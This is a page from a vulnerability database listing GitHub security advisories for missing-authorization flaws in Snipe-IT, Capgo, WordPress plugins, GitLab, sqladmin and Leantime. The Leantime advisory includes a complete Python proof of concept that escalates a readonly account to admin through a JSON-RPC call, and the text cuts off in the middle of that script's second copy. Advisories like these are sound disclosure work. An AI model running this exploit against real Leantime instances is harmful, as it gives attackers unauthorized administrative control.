CWE-862
Allowed-with-ReviewMissing Authorization
Abstraction: Class · Status: Incomplete
The product does not perform an authorization check when an actor attempts to access a resource or perform an action.
19704 vulnerabilities reference this CWE, most recent first.
GHSA-544R-FC65-V832
Vulnerability from github – Published: 2024-06-14 12:30 – Updated: 2024-06-19 14:34Users with "User:edit" and "Self:api" permissions can promote or demote themselves or other users by performing changes to the group's memberships via API call.This issue affects snipe-it: from v4.6.17 through v6.4.1.
{
"affected": [
{
"package": {
"ecosystem": "Packagist",
"name": "snipe/snipe-it"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "6.4.2"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2024-5685"
],
"database_specific": {
"cwe_ids": [
"CWE-862"
],
"github_reviewed": true,
"github_reviewed_at": "2024-06-17T21:23:04Z",
"nvd_published_at": "2024-06-14T10:15:10Z",
"severity": "HIGH"
},
"details": "Users with \"User:edit\" and \"Self:api\" permissions\u00a0can promote or demote themselves or other users by performing changes to the group\u0027s memberships via API call.This issue affects snipe-it: from v4.6.17 through v6.4.1.",
"id": "GHSA-544r-fc65-v832",
"modified": "2024-06-19T14:34:15Z",
"published": "2024-06-14T12:30:50Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-5685"
},
{
"type": "WEB",
"url": "https://github.com/snipe/snipe-it/pull/14745"
},
{
"type": "WEB",
"url": "https://github.com/snipe/snipe-it/commit/34f1ea1c0ecd403047cd1327569ee391a7201cc1"
},
{
"type": "WEB",
"url": "https://advisory.checkmarx.net/?search=CVE-2024-5685"
},
{
"type": "WEB",
"url": "https://devhub.checkmarx.com/cve-details/CVE-2024-5685"
},
{
"type": "PACKAGE",
"url": "https://github.com/snipe/snipe-it"
},
{
"type": "WEB",
"url": "https://github.com/snipe/snipe-it/releases/tag/v6.4.2"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "Snipe-IT allows users to promote or demote themselves or other users"
}
GHSA-5495-G4J9-GJWQ
Vulnerability from github – Published: 2026-06-20 03:32 – Updated: 2026-06-20 03:32Capgo before 12.128.2 contains an authorization bypass vulnerability in the public.upsert_version_meta SECURITY DEFINER function exposed via PostgREST RPC, allowing unauthenticated attackers to insert arbitrary rows into version_meta for any app_id. Attackers can exploit this by calling the RPC endpoint with a public anon key to poison storage metrics, causing persistent false data in dashboards and triggering incorrect alerts across victim applications.
{
"affected": [],
"aliases": [
"CVE-2026-56213"
],
"database_specific": {
"cwe_ids": [
"CWE-862"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-06-20T01:16:16Z",
"severity": "MODERATE"
},
"details": "Capgo before 12.128.2 contains an authorization bypass vulnerability in the public.upsert_version_meta SECURITY DEFINER function exposed via PostgREST RPC, allowing unauthenticated attackers to insert arbitrary rows into version_meta for any app_id. Attackers can exploit this by calling the RPC endpoint with a public anon key to poison storage metrics, causing persistent false data in dashboards and triggering incorrect alerts across victim applications.",
"id": "GHSA-5495-g4j9-gjwq",
"modified": "2026-06-20T03:32:30Z",
"published": "2026-06-20T03:32:30Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/Cap-go/capgo/security/advisories/GHSA-g4hx-x8gc-x6rw"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-56213"
},
{
"type": "WEB",
"url": "https://www.vulncheck.com/advisories/capgo-unauthenticated-cross-tenant-metrics-poisoning-via-upsert-version-meta-rpc"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
GHSA-5495-MP9J-58J3
Vulnerability from github – Published: 2026-03-25 18:31 – Updated: 2026-03-26 18:31Missing Authorization vulnerability in PickPlugins Product Slider for WooCommerce woocommerce-products-slider allows Exploiting Incorrectly Configured Access Control Security Levels.This issue affects Product Slider for WooCommerce: from n/a through <= 1.13.60.
{
"affected": [],
"aliases": [
"CVE-2026-25455"
],
"database_specific": {
"cwe_ids": [
"CWE-862"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-03-25T17:16:51Z",
"severity": "MODERATE"
},
"details": "Missing Authorization vulnerability in PickPlugins Product Slider for WooCommerce woocommerce-products-slider allows Exploiting Incorrectly Configured Access Control Security Levels.This issue affects Product Slider for WooCommerce: from n/a through \u003c= 1.13.60.",
"id": "GHSA-5495-mp9j-58j3",
"modified": "2026-03-26T18:31:34Z",
"published": "2026-03-25T18:31:52Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-25455"
},
{
"type": "WEB",
"url": "https://patchstack.com/database/Wordpress/Plugin/woocommerce-products-slider/vulnerability/wordpress-product-slider-for-woocommerce-plugin-1-13-60-broken-access-control-vulnerability?_s_id=cve"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-54G8-CF5M-QWG3
Vulnerability from github – Published: 2025-11-13 12:31 – Updated: 2026-01-20 15:31Missing Authorization vulnerability in PluginEver WP Content Pilot wp-content-pilot allows Exploiting Incorrectly Configured Access Control Security Levels.This issue affects WP Content Pilot: from n/a through <= 2.1.7.
{
"affected": [],
"aliases": [
"CVE-2025-64263"
],
"database_specific": {
"cwe_ids": [
"CWE-862"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-11-13T10:15:51Z",
"severity": "MODERATE"
},
"details": "Missing Authorization vulnerability in PluginEver WP Content Pilot wp-content-pilot allows Exploiting Incorrectly Configured Access Control Security Levels.This issue affects WP Content Pilot: from n/a through \u003c= 2.1.7.",
"id": "GHSA-54g8-cf5m-qwg3",
"modified": "2026-01-20T15:31:55Z",
"published": "2025-11-13T12:31:42Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-64263"
},
{
"type": "WEB",
"url": "https://patchstack.com/database/Wordpress/Plugin/wp-content-pilot/vulnerability/wordpress-wp-content-pilot-plugin-2-1-7-broken-access-control-vulnerability?_s_id=cve"
},
{
"type": "WEB",
"url": "https://vdp.patchstack.com/database/Wordpress/Plugin/wp-content-pilot/vulnerability/wordpress-wp-content-pilot-plugin-2-1-7-broken-access-control-vulnerability?_s_id=cve"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-54GR-CF5G-5PJM
Vulnerability from github – Published: 2025-07-25 15:30 – Updated: 2025-07-25 15:30An issue has been discovered in GitLab CE/EE affecting all versions starting from 15.4 before 18.0.5, all versions starting from 18.1 before 18.1.3, all versions starting from 18.2 before 18.2.1 that, under circumstances, could have allowed an unauthorized user to read deployment job logs by sending a crafted request.
{
"affected": [],
"aliases": [
"CVE-2025-1299"
],
"database_specific": {
"cwe_ids": [
"CWE-862"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-07-24T07:15:52Z",
"severity": "MODERATE"
},
"details": "An issue has been discovered in GitLab CE/EE affecting all versions starting from 15.4 before 18.0.5, all versions starting from 18.1 before 18.1.3, all versions starting from 18.2 before 18.2.1 that, under circumstances, could have allowed an unauthorized user to read deployment job logs by sending a crafted request.",
"id": "GHSA-54gr-cf5g-5pjm",
"modified": "2025-07-25T15:30:41Z",
"published": "2025-07-25T15:30:41Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-1299"
},
{
"type": "WEB",
"url": "https://hackerone.com/reports/2969145"
},
{
"type": "WEB",
"url": "https://gitlab.com/gitlab-org/gitlab/-/issues/519696"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-54MC-GGHV-4CFJ
Vulnerability from github – Published: 2026-05-21 21:31 – Updated: 2026-06-11 14:06Impact
The ajax_lookup endpoint in application.py bypasses the is_accessible() access control check that all other endpoints enforce.
If a developer restricts model access by overriding is_accessible(), an authenticated user can still query that model's data through the ajax_lookup endpoint — silently bypassing the restriction.
Affected endpoint:
GET /{identity}/ajax/lookup?name=<field>&term=<query>
All other endpoints enforce both checks:
| Endpoint | @login_required |
is_accessible() |
|---|---|---|
list |
✓ | ✓ |
create |
✓ | ✓ |
edit |
✓ | ✓ |
delete |
✓ | ✓ |
details |
✓ | ✓ |
export |
✓ | ✓ |
ajax_lookup (before fix) |
✗ | ✗ |
ajax_lookup (after fix) |
✓ | ✓ |
Note: before this fix, ajax_lookup also lacked the @login_required decorator — unauthenticated users could query it directly. That was addressed in #1035. This report covers the remaining gap: authenticated but unauthorized users.
Patches
Two changes were made to ajax_lookup:
- Replaced the hand-rolled authentication check added in #1035 with the standard
@login_requireddecorator used by all other endpoints. - Added the missing
is_accessible(request)check, raisingHTTP 403when it returnsFalse.
Workarounds
None. Developers relying on is_accessible() to restrict model visibility are exposed regardless of what other access controls are in place.
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 0.25.0"
},
"package": {
"ecosystem": "PyPI",
"name": "sqladmin"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "0.25.1"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-46645"
],
"database_specific": {
"cwe_ids": [
"CWE-862"
],
"github_reviewed": true,
"github_reviewed_at": "2026-05-21T21:31:40Z",
"nvd_published_at": "2026-06-10T23:16:47Z",
"severity": "MODERATE"
},
"details": "### Impact\n\nThe `ajax_lookup` endpoint in `application.py` bypasses the `is_accessible()` access control check that all other endpoints enforce.\n\nIf a developer restricts model access by overriding `is_accessible()`, an authenticated user can still query that model\u0027s data through the `ajax_lookup` endpoint \u2014 silently bypassing the restriction.\n\n**Affected endpoint:**\n\n`GET /{identity}/ajax/lookup?name=\u003cfield\u003e\u0026term=\u003cquery\u003e`\n\n**All other endpoints enforce both checks:**\n\n| Endpoint | `@login_required` | `is_accessible()` |\n|---|---|---|\n| `list` | \u2713 | \u2713 |\n| `create` | \u2713 | \u2713 |\n| `edit` | \u2713 | \u2713 |\n| `delete` | \u2713 | \u2713 |\n| `details` | \u2713 | \u2713 |\n| `export` | \u2713 | \u2713 |\n| `ajax_lookup` (before fix) | \u2717 | \u2717 |\n| `ajax_lookup` (after fix) | \u2713 | \u2713 |\n\nNote: before this fix, `ajax_lookup` also lacked the `@login_required` decorator \u2014 unauthenticated users could query it directly. That was addressed in #1035. This report covers the remaining gap: authenticated but unauthorized users.\n\n### Patches\n\nTwo changes were made to `ajax_lookup`:\n\n1. Replaced the hand-rolled authentication check added in #1035 with the standard `@login_required` decorator used by all other endpoints.\n2. Added the missing `is_accessible(request)` check, raising `HTTP 403` when it returns `False`.\n\n### Workarounds\n\nNone. Developers relying on `is_accessible()` to restrict model visibility are exposed regardless of what other access controls are in place.",
"id": "GHSA-54mc-gghv-4cfj",
"modified": "2026-06-11T14:06:18Z",
"published": "2026-05-21T21:31:40Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/smithyhq/sqladmin/security/advisories/GHSA-54mc-gghv-4cfj"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-46645"
},
{
"type": "WEB",
"url": "https://github.com/smithyhq/sqladmin/pull/1035"
},
{
"type": "WEB",
"url": "https://github.com/smithyhq/sqladmin/commit/b0d3a19fb9b074a9ed243de46930108375dfbb98"
},
{
"type": "PACKAGE",
"url": "https://github.com/smithyhq/sqladmin"
},
{
"type": "WEB",
"url": "https://github.com/smithyhq/sqladmin/releases/tag/0.25.1"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N",
"type": "CVSS_V3"
}
],
"summary": "SQLAdmin: Authorization Bypass on `ajax_lookup`"
}
GHSA-54MM-6729-R5WP
Vulnerability from github – Published: 2026-10-15 20:14 – Updated: 2026-10-15 20:14Summary
Any authenticated Leantime user - including the lowest-privilege readonly role - can escalate to full administrative access by calling the JSON-RPC method leantime.rpc.api.api.createApiKeyWithProjects with an attacker-chosen role value. The server creates a new account at that role with no authorization check, and the resulting credentials work as a fully interactive admin login through the ordinary web UI. The same root cause (missing per-method authorization on JSON-RPC-exposed service methods) also leaves the Plugins service's installPlugin, enablePlugin, disablePlugin, and removePlugin methods callable by any authenticated user with no role check, even though their web-UI equivalents correctly require an admin/owner role.
Details
Leantime's JSON-RPC API (app/Domain/Api/Controllers/Jsonrpc.php) reflects any public method on any @api-annotated service class and dispatches it at leantime.rpc.{domain}.{service}.{method}. Per-method authorization is enforced by PermissionEnforcer::enforce() (app/Core/Auth/Permissions/PermissionEnforcer.php), which reads a #[RequiresPermission(...)] PHP attribute off the target method - but when that attribute is absent, enforce() silently returns and allows the call through.
Api::createApiKeyWithProjects(array $values, ?array $projects) (app/Domain/Api/Services/Api.php) is @api-exposed and carries no #[RequiresPermission] attribute. It forwards $values - including a caller-supplied role - directly into createAPIKey() → Users\Repositories\Users::addUser(), with no server-side clamping of role against the calling user's own privilege level:
// app/Domain/Api/Services/Api.php
/**
* @api
*/
public function createApiKeyWithProjects(array $values, ?array $projects): array|false
{
$apiKeyValues = $this->createAPIKey($values); // no #[RequiresPermission], no role check
...
}
The equivalent web route (NewApiKey controller) correctly gates account creation behind an admin-only role check (Auth::authOrRedirect([Roles::$admin, ...])), but that gate is bypassed entirely by calling the service directly through JSON-RPC.
Separately, Plugins::installPlugin(), enablePlugin(), disablePlugin(), and removePlugin() (app/Domain/Plugins/Services/Plugins.php, lines ~266/299/320/342) share the same gap: all four are @api-exposed with no #[RequiresPermission], while their web-controller equivalents (Myapps.php, Details.php) correctly require Roles::$owner/Roles::$admin.
Authenticating to the JSON-RPC endpoint with an ordinary browser session cookie (rather than a dedicated API key) is sufficient, provided the request carries an X-Requested-With: XMLHttpRequest header (app/Core/Middleware/StartSession.php) - this is exactly what the application's own first-party JS client already sends, so no special tooling beyond a normal authenticated session is needed.
PoC
A runnable Python PoC (requests library only) reproduces this end-to-end; see the attached poc.py. Steps:
- Create/authenticate as a
readonly-role account (the lowest privilege level). Confirm it is correctly blocked (HTTP 403) from an admin-only page, e.g./plugins/myapps. - From that same low-privilege session, send: ``` POST /api/jsonrpc Content-Type: application/json X-Requested-With: XMLHttpRequest
{"jsonrpc":"2.0","id":1,"method":"leantime.rpc.api.api.createApiKeyWithProjects",
"params":{"values":{"firstname":"poc","role":40,"status":"a"},"projects":[]}}
``
The server respondsHTTP 200with the newly created account'suser/passwordCleanand"role":40(admin) in the JSON body.
3. Log in through the normal/auth/loginform using the returneduser/passwordClean. The resulting session now has full, interactive access to/plugins/myapps` (HTTP 200) - the exact page that returned 403 in step 1.
Reproduced against a local instance built from this repository's own .dev Docker tooling (.dev/docker-compose.yaml), with dependencies installed via composer install / npx mix and no modifications to application code.
Impact
Complete compromise of any Leantime instance by an attacker who controls, or can register/be granted, any authenticated account - including the lowest-privilege readonly role. No admin credentials, tokens, or prior access beyond an ordinary low-privilege login are required. This is a full authenticated-to-admin privilege escalation (CWE-862 Missing Authorization, CWE-269 Improper Privilege Management). Combined with the plugin-management gap described above, it further extends to arbitrary plugin install/enable/disable/remove, a path toward code-execution-level impact tracked from the same root cause.
Script : poc.py
#!/usr/bin/env python3
"""
What this script does, against a target Leantime instance:
1. Logs in as a LOW-PRIVILEGE account (readonly role by default).
2. Confirms the account is correctly blocked by the normal web UI from an
admin-only page (expects HTTP 403) -- this establishes the account truly
has no admin rights before the exploit runs.
3. Calls leantime.rpc.api.api.createApiKeyWithProjects over JSON-RPC using
nothing but that account's own ordinary session cookie, requesting
role=40 (admin). No admin/API-key credential is used anywhere in this
step -- only the low-privilege session established in step 1.
4. Logs in through the completely ordinary web login form using the
generated username/password from step 3, and confirms that account now
has full, interactive admin access to the same admin-only page that
blocked the original low-privilege account in step 2. (The record is
created with source='' rather than source='api' -- createAPIKey() never
sets that column -- so it does NOT work as an x-api-key credential, but
it is a fully functional role=40 web login, which is a stronger and
more direct proof of impact.)
Requirements: pip install requests
Usage:
python3 poc.py --url http://localhost:5080 \\
--username lowpriv@leantime.test --password 'LowPriv123!'
"""
import argparse
import sys
import requests
def rpc_call(session: requests.Session, base_url: str, method: str, params: dict, extra_headers: dict | None = None):
"""Call a JSON-RPC method. Sends X-Requested-With so the session-based
guard actually loads the caller's real, persisted session (see
StartSession.php:65) -- without it, API requests get a fresh, empty,
in-memory session and every call 401s regardless of login state."""
headers = {
"Content-Type": "application/json",
"X-Requested-With": "XMLHttpRequest",
}
if extra_headers:
headers.update(extra_headers)
resp = session.post(
f"{base_url}/api/jsonrpc",
json={"jsonrpc": "2.0", "id": 1, "method": method, "params": params},
headers=headers,
)
return resp
def main():
parser = argparse.ArgumentParser(description=__doc__, formatter_class=argparse.RawDescriptionHelpFormatter)
parser.add_argument("--url", required=True, help="Base URL of the target Leantime instance, e.g. http://localhost:5080")
parser.add_argument("--username", required=True, help="Email of a LOW-privilege test account (e.g. readonly role)")
parser.add_argument("--password", required=True, help="Password for that account")
parser.add_argument("--admin-check-path", default="/plugins/myapps", help="An admin-only web page used to confirm the account has no admin rights (default: /plugins/myapps)")
parser.add_argument("--insecure", action="store_true", help="Disable TLS verification (for self-signed local/dev instances)")
args = parser.parse_args()
verify = not args.insecure
base_url = args.url.rstrip("/")
s = requests.Session()
s.verify = verify
print(f"[*] Target: {base_url}")
# Step 1: log in as the low-privilege account via the ordinary web form.
print(f"[*] Logging in as low-privilege account: {args.username}")
s.get(f"{base_url}/auth/login") # prime session cookie
login_resp = s.post(
f"{base_url}/auth/login",
data={
"username": args.username,
"password": args.password,
"redirectUrl": "/dashboard/home", # avoid the unrelated empty-redirectUrl 500 bug
},
allow_redirects=False,
)
if login_resp.status_code not in (302, 303):
print(f"[!] Login did not redirect as expected (got {login_resp.status_code}). Aborting.")
sys.exit(1)
print("[+] Login succeeded (session cookie established).")
# Step 2: confirm the account genuinely has no admin rights via the web UI.
check_resp = s.get(f"{base_url}{args.admin_check_path}", allow_redirects=False)
if check_resp.status_code == 403:
print(f"[+] Confirmed: web UI correctly blocks this account from {args.admin_check_path} (HTTP 403).")
else:
print(f"[!] Expected HTTP 403 from {args.admin_check_path}, got {check_resp.status_code}. "
f"Continuing anyway, but this account may not be low-privilege as assumed.")
# Step 3: the actual privilege escalation -- same session, no API key used.
print("[*] Calling leantime.rpc.api.api.createApiKeyWithProjects with role=40 (admin) "
"using ONLY the low-privilege session from step 1 ...")
esc_resp = rpc_call(
s,
base_url,
"leantime.rpc.api.api.createApiKeyWithProjects",
{"values": {"firstname": "poc-escalated-admin-key", "role": 40, "status": "a"}, "projects": []},
)
try:
esc_json = esc_resp.json()
except ValueError:
print(f"[!] Non-JSON response (HTTP {esc_resp.status_code}): {esc_resp.text[:500]}")
sys.exit(1)
if "error" in esc_json:
print(f"[!] Exploit call failed: {esc_json['error']}")
print(" (If this is 'Method is not available via API' or an AuthorizationException, "
"the target may already be patched.)")
sys.exit(1)
result = esc_json["result"]
new_user = result["user"]
new_pass = result["passwordClean"]
new_role = result["role"]
new_id = result["id"]
api_key = f"lt_{new_user}_{new_pass}"
print("[+] VULNERABLE: server created a new account with attacker-chosen role, "
"with no permission check on the calling (low-privilege) account.")
print(f" New account id={new_id} role={new_role} (40 == admin)")
print(f" Generated credentials -- username: {new_user} password: {new_pass}")
print(f" (Nominal API key form: {api_key} -- see note below.)")
# Step 4: prove the new account carries real, interactive admin privilege
# by logging in through the ORDINARY web login form and hitting the same
# admin-only page that blocked the original low-privilege account.
print("[*] Logging in through the normal web UI with the generated credentials ...")
admin_session = requests.Session()
admin_session.verify = verify
admin_session.get(f"{base_url}/auth/login")
admin_login_resp = admin_session.post(
f"{base_url}/auth/login",
data={"username": new_user, "password": new_pass, "redirectUrl": "/dashboard/home"},
allow_redirects=False,
)
if admin_login_resp.status_code not in (302, 303):
print(f"[!] Web login with generated credentials failed (HTTP {admin_login_resp.status_code}).")
sys.exit(1)
admin_check_resp = admin_session.get(f"{base_url}{args.admin_check_path}", allow_redirects=False)
if admin_check_resp.status_code == 200:
print(f"[+] CONFIRMED: the account created by a LOW-PRIVILEGE user now has full, "
f"interactive admin access to {args.admin_check_path} (HTTP 200) -- "
f"the exact page that returned 403 for the original account in step 2.")
else:
print(f"[!] Expected HTTP 200 from {args.admin_check_path} with the escalated account, "
f"got {admin_check_resp.status_code}.")
if __name__ == "__main__":
main()
Maintainer note (resolution): Addressed by the native permission engine (v3.9.0): the affected JSON-RPC service methods now carry #[RequiresPermission] and are enforced at the API boundary (users/clients/projects mutations require the appropriate permission; self-escalation via editUser/patchUser is blocked). Remaining gates ship in the upcoming release.
{
"affected": [
{
"package": {
"ecosystem": "Packagist",
"name": "leantime/leantime"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "3.10.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-85990"
],
"database_specific": {
"cwe_ids": [
"CWE-269",
"CWE-862"
],
"github_reviewed": true,
"github_reviewed_at": "2026-10-15T20:14:43Z",
"nvd_published_at": "2026-10-13T17:17:47Z",
"severity": "HIGH"
},
"details": "### Summary\n\nAny authenticated Leantime user - including the lowest-privilege `readonly` role - can escalate to full administrative access by calling the JSON-RPC method `leantime.rpc.api.api.createApiKeyWithProjects` with an attacker-chosen `role` value. The server creates a new account at that role with no authorization check, and the resulting credentials work as a fully interactive admin login through the ordinary web UI. The same root cause (missing per-method authorization on JSON-RPC-exposed service methods) also leaves the `Plugins` service\u0027s `installPlugin`, `enablePlugin`, `disablePlugin`, and `removePlugin` methods callable by any authenticated user with no role check, even though their web-UI equivalents correctly require an admin/owner role.\n\n### Details\n\nLeantime\u0027s JSON-RPC API (`app/Domain/Api/Controllers/Jsonrpc.php`) reflects any public method on any `@api`-annotated service class and dispatches it at `leantime.rpc.{domain}.{service}.{method}`. Per-method authorization is enforced by `PermissionEnforcer::enforce()` (`app/Core/Auth/Permissions/PermissionEnforcer.php`), which reads a `#[RequiresPermission(...)]` PHP attribute off the target method - but when that attribute is **absent**, `enforce()` silently returns and allows the call through.\n\n`Api::createApiKeyWithProjects(array $values, ?array $projects)` (`app/Domain/Api/Services/Api.php`) is `@api`-exposed and carries no `#[RequiresPermission]` attribute. It forwards `$values` - including a caller-supplied `role` - directly into `createAPIKey()` \u2192 `Users\\Repositories\\Users::addUser()`, with no server-side clamping of `role` against the calling user\u0027s own privilege level:\n\n```php\n// app/Domain/Api/Services/Api.php\n/**\n * @api\n */\npublic function createApiKeyWithProjects(array $values, ?array $projects): array|false\n{\n $apiKeyValues = $this-\u003ecreateAPIKey($values); // no #[RequiresPermission], no role check\n ...\n}\n```\n\nThe equivalent web route (`NewApiKey` controller) correctly gates account creation behind an admin-only role check (`Auth::authOrRedirect([Roles::$admin, ...])`), but that gate is bypassed entirely by calling the service directly through JSON-RPC.\n\nSeparately, `Plugins::installPlugin()`, `enablePlugin()`, `disablePlugin()`, and `removePlugin()` (`app/Domain/Plugins/Services/Plugins.php`, lines ~266/299/320/342) share the same gap: all four are `@api`-exposed with no `#[RequiresPermission]`, while their web-controller equivalents (`Myapps.php`, `Details.php`) correctly require `Roles::$owner`/`Roles::$admin`.\n\nAuthenticating to the JSON-RPC endpoint with an ordinary browser session cookie (rather than a dedicated API key) is sufficient, provided the request carries an `X-Requested-With: XMLHttpRequest` header (`app/Core/Middleware/StartSession.php`) - this is exactly what the application\u0027s own first-party JS client already sends, so no special tooling beyond a normal authenticated session is needed.\n\n### PoC\n\nA runnable Python PoC (`requests` library only) reproduces this end-to-end; see the attached `poc.py`. Steps:\n\n1. Create/authenticate as a `readonly`-role account (the lowest privilege level). Confirm it is correctly blocked (HTTP 403) from an admin-only page, e.g. `/plugins/myapps`.\n2. From that same low-privilege session, send:\n ```\n POST /api/jsonrpc\n Content-Type: application/json\n X-Requested-With: XMLHttpRequest\n\n {\"jsonrpc\":\"2.0\",\"id\":1,\"method\":\"leantime.rpc.api.api.createApiKeyWithProjects\",\n \"params\":{\"values\":{\"firstname\":\"poc\",\"role\":40,\"status\":\"a\"},\"projects\":[]}}\n ```\n The server responds `HTTP 200` with the newly created account\u0027s `user`/`passwordClean` and `\"role\":40` (admin) in the JSON body.\n3. Log in through the normal `/auth/login` form using the returned `user`/`passwordClean`. The resulting session now has full, interactive access to `/plugins/myapps` (HTTP 200) - the exact page that returned 403 in step 1.\n\nReproduced against a local instance built from this repository\u0027s own `.dev` Docker tooling (`.dev/docker-compose.yaml`), with dependencies installed via `composer install` / `npx mix` and no modifications to application code.\n\n### Impact\n\nComplete compromise of any Leantime instance by an attacker who controls, or can register/be granted, any authenticated account - including the lowest-privilege `readonly` role. No admin credentials, tokens, or prior access beyond an ordinary low-privilege login are required. This is a full authenticated-to-admin privilege escalation (CWE-862 Missing Authorization, CWE-269 Improper Privilege Management). Combined with the plugin-management gap described above, it further extends to arbitrary plugin install/enable/disable/remove, a path toward code-execution-level impact tracked from the same root cause.\n\nScript : poc.py\n```python\n#!/usr/bin/env python3\n\"\"\"\nWhat this script does, against a target Leantime instance:\n 1. Logs in as a LOW-PRIVILEGE account (readonly role by default).\n 2. Confirms the account is correctly blocked by the normal web UI from an\n admin-only page (expects HTTP 403) -- this establishes the account truly\n has no admin rights before the exploit runs.\n 3. Calls leantime.rpc.api.api.createApiKeyWithProjects over JSON-RPC using\n nothing but that account\u0027s own ordinary session cookie, requesting\n role=40 (admin). No admin/API-key credential is used anywhere in this\n step -- only the low-privilege session established in step 1.\n 4. Logs in through the completely ordinary web login form using the\n generated username/password from step 3, and confirms that account now\n has full, interactive admin access to the same admin-only page that\n blocked the original low-privilege account in step 2. (The record is\n created with source=\u0027\u0027 rather than source=\u0027api\u0027 -- createAPIKey() never\n sets that column -- so it does NOT work as an x-api-key credential, but\n it is a fully functional role=40 web login, which is a stronger and\n more direct proof of impact.)\n\nRequirements: pip install requests\n\nUsage:\n python3 poc.py --url http://localhost:5080 \\\\\n --username lowpriv@leantime.test --password \u0027LowPriv123!\u0027\n\"\"\"\n\nimport argparse\nimport sys\n\nimport requests\n\n\ndef rpc_call(session: requests.Session, base_url: str, method: str, params: dict, extra_headers: dict | None = None):\n \"\"\"Call a JSON-RPC method. Sends X-Requested-With so the session-based\n guard actually loads the caller\u0027s real, persisted session (see\n StartSession.php:65) -- without it, API requests get a fresh, empty,\n in-memory session and every call 401s regardless of login state.\"\"\"\n headers = {\n \"Content-Type\": \"application/json\",\n \"X-Requested-With\": \"XMLHttpRequest\",\n }\n if extra_headers:\n headers.update(extra_headers)\n\n resp = session.post(\n f\"{base_url}/api/jsonrpc\",\n json={\"jsonrpc\": \"2.0\", \"id\": 1, \"method\": method, \"params\": params},\n headers=headers,\n )\n return resp\n\n\ndef main():\n parser = argparse.ArgumentParser(description=__doc__, formatter_class=argparse.RawDescriptionHelpFormatter)\n parser.add_argument(\"--url\", required=True, help=\"Base URL of the target Leantime instance, e.g. http://localhost:5080\")\n parser.add_argument(\"--username\", required=True, help=\"Email of a LOW-privilege test account (e.g. readonly role)\")\n parser.add_argument(\"--password\", required=True, help=\"Password for that account\")\n parser.add_argument(\"--admin-check-path\", default=\"/plugins/myapps\", help=\"An admin-only web page used to confirm the account has no admin rights (default: /plugins/myapps)\")\n parser.add_argument(\"--insecure\", action=\"store_true\", help=\"Disable TLS verification (for self-signed local/dev instances)\")\n args = parser.parse_args()\n\n verify = not args.insecure\n base_url = args.url.rstrip(\"/\")\n s = requests.Session()\n s.verify = verify\n\n print(f\"[*] Target: {base_url}\")\n\n # Step 1: log in as the low-privilege account via the ordinary web form.\n print(f\"[*] Logging in as low-privilege account: {args.username}\")\n s.get(f\"{base_url}/auth/login\") # prime session cookie\n login_resp = s.post(\n f\"{base_url}/auth/login\",\n data={\n \"username\": args.username,\n \"password\": args.password,\n \"redirectUrl\": \"/dashboard/home\", # avoid the unrelated empty-redirectUrl 500 bug\n },\n allow_redirects=False,\n )\n if login_resp.status_code not in (302, 303):\n print(f\"[!] Login did not redirect as expected (got {login_resp.status_code}). Aborting.\")\n sys.exit(1)\n print(\"[+] Login succeeded (session cookie established).\")\n\n # Step 2: confirm the account genuinely has no admin rights via the web UI.\n check_resp = s.get(f\"{base_url}{args.admin_check_path}\", allow_redirects=False)\n if check_resp.status_code == 403:\n print(f\"[+] Confirmed: web UI correctly blocks this account from {args.admin_check_path} (HTTP 403).\")\n else:\n print(f\"[!] Expected HTTP 403 from {args.admin_check_path}, got {check_resp.status_code}. \"\n f\"Continuing anyway, but this account may not be low-privilege as assumed.\")\n\n # Step 3: the actual privilege escalation -- same session, no API key used.\n print(\"[*] Calling 